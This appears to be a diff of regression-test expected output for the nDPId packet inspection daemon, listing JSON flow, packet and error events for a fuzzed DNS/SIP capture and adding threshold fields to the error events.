01145{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":393,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470385615843,"flow_src_last_pkt_time":1120470390616811,"flow_dst_last_pkt_time":1120470385615843,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470390616811,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -1048,7 +1048,7 @@ 01012{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":399,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":151,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470402625817,"flow_src_last_pkt_time":1120470402625817,"flow_dst_last_pkt_time":1120470402625817,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470402625817,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2782,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}}} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":400,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":152,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470402627133,"flow_src_last_pkt_time":1120470402627133,"flow_dst_last_pkt_time":1120470402627133,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":5,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":5,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":5,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470402627133,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00515{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_src_last_pkt_time":1120470402627133,"flow_dst_last_pkt_time":1120470402627133,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":47,"pkt_l4_len":13,"thread_ts_usec":1120470402627133,"pkt":"ADBUADRWAODtAW69CABFAAAhaz4AAIARF87AqAEG1PIhIxPEE8QADcBLICAgICA="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":401,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2566,"global_ts_usec":1120470407625543} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470407625543,"packet_id":401,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2566,"global_ts_usec":1120470407625543} 00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":401,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":2566,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1120470402627133,"pkt":"AODtAW5nADBUADRWCgYAAQgABgQAAQAwVAA0VsCoAQEAAAAAAADAqAECiGQRAPY3AArAIQkOAAjPO\/nN"} 00908{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":120,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470216686822,"flow_src_last_pkt_time":1120470216686822,"flow_dst_last_pkt_time":1120470216688322,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":9,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":9,"flow_dst_max_l4_payload_len":63,"flow_src_tot_l4_payload_len":9,"flow_dst_tot_l4_payload_len":63,"midstream":0,"thread_ts_usec":1120470402627133,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2761,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00768{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":121,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470216783289,"flow_src_last_pkt_time":1120470219780912,"flow_dst_last_pkt_time":1120470216783289,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470402627133,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2762,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1067,7 +1067,7 @@ 01018{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":153,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470414647526,"flow_src_last_pkt_time":1120470414647526,"flow_dst_last_pkt_time":1120470414647526,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470414647526,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1057,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":2,"flow_src_last_pkt_time":1120470415643049,"flow_dst_last_pkt_time":1120470414647526,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470415643049,"pkt":"ADBUJXMAAODtAW69CABFAABIa0sAAIARTAbAqAECwKgBAQrfADUANOABSeQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01024{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":404,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":153,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470414647526,"flow_src_last_pkt_time":1120470415643049,"flow_dst_last_pkt_time":1120470414647526,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470415643049,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":405,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470417645446} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470417645446,"packet_id":405,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470417645446} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":405,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470415643049,"pkt":"ADBUADRWAOCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":406,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":154,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470419648352,"flow_src_last_pkt_time":1120470419648352,"flow_dst_last_pkt_time":1120470419648352,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470419648352,"l3_proto":"ip4","src_ip":"0.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_src_last_pkt_time":1120470419648352,"flow_dst_last_pkt_time":1120470419648352,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470419648352,"pkt":"ADBUADRWAODtAW69CABFAABIa00AAIARJXMAqAECwKgBAQrfADUANOABSeQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -1092,7 +1092,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":409,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":156,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470431657512,"flow_src_last_pkt_time":1120470431657512,"flow_dst_last_pkt_time":1120470431657512,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470431657512,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.5.2","src_port":53,"dst_port":2784,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00593{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_src_last_pkt_time":1120470431657512,"flow_dst_last_pkt_time":1120470431657512,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470431657512,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgFAgA1CuAAR2l1neWAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFzcGEAAAwAAcAMAAwAAQAAJyVzAAlsb2NhbGhvc3QA"} 01012{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":409,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":156,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470431657512,"flow_src_last_pkt_time":1120470431657512,"flow_dst_last_pkt_time":1120470431657512,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470431657512,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.5.2","src_port":53,"dst_port":2784,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.aspa","dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":411,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":18688,"global_ts_usec":1120470439142760} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470439142760,"packet_id":411,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":18688,"global_ts_usec":1120470439142760} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":411,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":18688,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470431658642,"pkt":"ADBUADRWAODtAW69SQBFAIBIa1EAAIARTADAqAECwKgBAQrhADUANAD+KOYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":2,"flow_src_last_pkt_time":1120470187656855,"flow_dst_last_pkt_time":1120470440137922,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470440137922,"pkt":"ADBUADRWAODtAW69CABFAABIa1LfAEwlcwDAqAECwKgBAQrhADUANAD+KOYBAAABAAAAQAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00768{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":413,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":129,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470259918614,"flow_src_last_pkt_time":1120470259918614,"flow_dst_last_pkt_time":1120470259918614,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470440137922,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":14798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1132,7 +1132,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":161,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470456151196,"flow_src_last_pkt_time":1120470456151196,"flow_dst_last_pkt_time":1120470456151196,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470456151196,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.3","src_port":2786,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00564{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_src_last_pkt_time":1120470456151196,"flow_dst_last_pkt_time":1120470456151196,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"thread_ts_usec":1120470456151196,"pkt":"ADBUADRWAODtAW69CABFAABEa1kAAIARS\/zAqAECwKgBAwriADUAMED14+cAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZKxyBGFycGEAAAwAAQ=="} 01012{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":161,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470456151196,"flow_src_last_pkt_time":1120470456151196,"flow_dst_last_pkt_time":1120470456151196,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470456151196,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.3","src_port":2786,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-ad?r.arpa","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":420,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470456152669} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470456152669,"packet_id":420,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470456152669} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":420,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"thread_ts_usec":1120470456151196,"pkt":"AODtAW69ADBUADRWCABFAABbAABACEARtz7AqAEBwKgBAgA1CuIARyNx4+eAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":422,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470456286438,"flow_src_last_pkt_time":1120470456286438,"flow_dst_last_pkt_time":1120470456286438,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":485,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":485,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":485,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470456286438,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":9587,"dst_port":196,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01158{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_src_last_pkt_time":1120470456286438,"flow_dst_last_pkt_time":1120470456286438,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"thread_ts_usec":1120470456286438,"pkt":"AODtAW69ADBUADRWCABFAAIBAABAADcRiizU8iEjwKgBAiVzAMQB7c3hU0lQJXMAMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3NiBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjN0YWc9M2JmZmNjYw0KVG86IDxzaXA6dm9pMTgwNjJAc2lwLmN5+GVyY2l0cS5kaz47dGFnPTAwLTA0MDkwLTE3MDFiNjUxLTE1YzIzOGNlNg0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZUNlaXNlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5aEc0YktucDYyOTEzNjY1LTQzMGFhMmRhMTkyLjE2OC4xLjINCldXVy0lcwBoZW50aWNhtWU6IERpZ2VzdFNyZWFsbT0ic2lwLmN5YmVyYyVzAEFkayIsbm9uY2VUIjE3MDFiNjM5MTQ4MDVjZDIxMzk1MzZjMDAzMjNkNTgiLG9wYXF1ZT0iMTcwMWExMzUxYjcwNzk1IixzdGFsZT1mYWxzZSxhbGdvcml0aCVzAEQ1DQpDb250ZW50LUxlbmd0aDogMA0KDQo="} @@ -1163,9 +1163,9 @@ 00732{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":429,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":166,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470473527682,"flow_src_last_pkt_time":1120470473527682,"flow_dst_last_pkt_time":1120470473527682,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":71,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":71,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":71,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470473527682,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","l4_proto":0,"flow_datalink":1,"flow_max_packets":3} 00593{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_src_last_pkt_time":1120470473527682,"flow_dst_last_pkt_time":1120470473527682,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470473527682,"pkt":"AODtAW69ADBUADRWCABFAABbAABAJXMAtz7AqAEBwKgBAgA1CuQAR5xtaumAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3Qw"} 02256{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":430,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"finished","flow_src_packets_processed":10,"flow_dst_packets_processed":22,"flow_first_seen":1120469572981006,"flow_src_last_pkt_time":1120470268128176,"flow_dst_last_pkt_time":1120470473529233,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":306,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":593,"flow_dst_max_l4_payload_len":1076,"flow_src_tot_l4_payload_len":4595,"flow_dst_tot_l4_payload_len":6254,"midstream":0,"thread_ts_usec":1120470473529233,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":25935,"avg":51474044.0,"max":279041814,"stddev":59389388.0,"var":3527099352612864.0,"ent":4.2,"data": [17474795,107207461,89874891,17280679,167478647,167525220,17335822,73902652,91241081,17333170,25935,17724998,29031776,29092737,68237242,29272359,29031830,29031631,29031476,18604480,279041814,227102,15287489,17115049,32679444,257340,76383084,29031077,58063525,24495477,17375114]},"pktlen": {"min":33,"avg":367.0,"max":1104,"stddev":296.2,"var":87757.2,"ent":4.4,"data": [514,374,495,514,708,514,708,519,514,708,334,498,33,33,33,33,33,33,33,33,853,621,368,33,1104,473,363,33,33,33,466,701]},"bins": {"c_to_s": [0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,5,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [12,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,0,0,0,4,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},"directions": [0,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1],"entropies": [5.828991890,5.782027245,5.782989502,5.772095203,5.761000156,1.504078388,3.362369776,2.947608709,5.765282631,4.114200115,5.769235611,3.191431999,4.098355293,4.098355293,4.098355293,4.098355293,4.098355293,4.098355293,4.098355293,4.098355293,5.808829308,5.790666103,5.744666100,4.098355293,1.549071550,5.804477692,4.601107121,4.098355293,4.037749290,4.098355293,3.348246098,2.334293365]},"ndpi": {"confidence": {"6":"DPI"},"proto":"SIP","proto_id":"100","encrypted":0,"breed":"Acceptable","category_id":10,"category":"VoIP"}} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":431,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2157,"global_ts_usec":1120470473631455} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470473631455,"packet_id":431,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2157,"global_ts_usec":1120470473631455} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":431,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2157,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470473529233,"pkt":"ADBUADRWACVzVG69CG1FAABIa2IAAIARS+\/AqAECwKgBAQrlADUANLH1d+oBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":432,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":498,"global_ts_usec":1120470473676412} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470473676412,"packet_id":432,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":498,"global_ts_usec":1120470473676412} 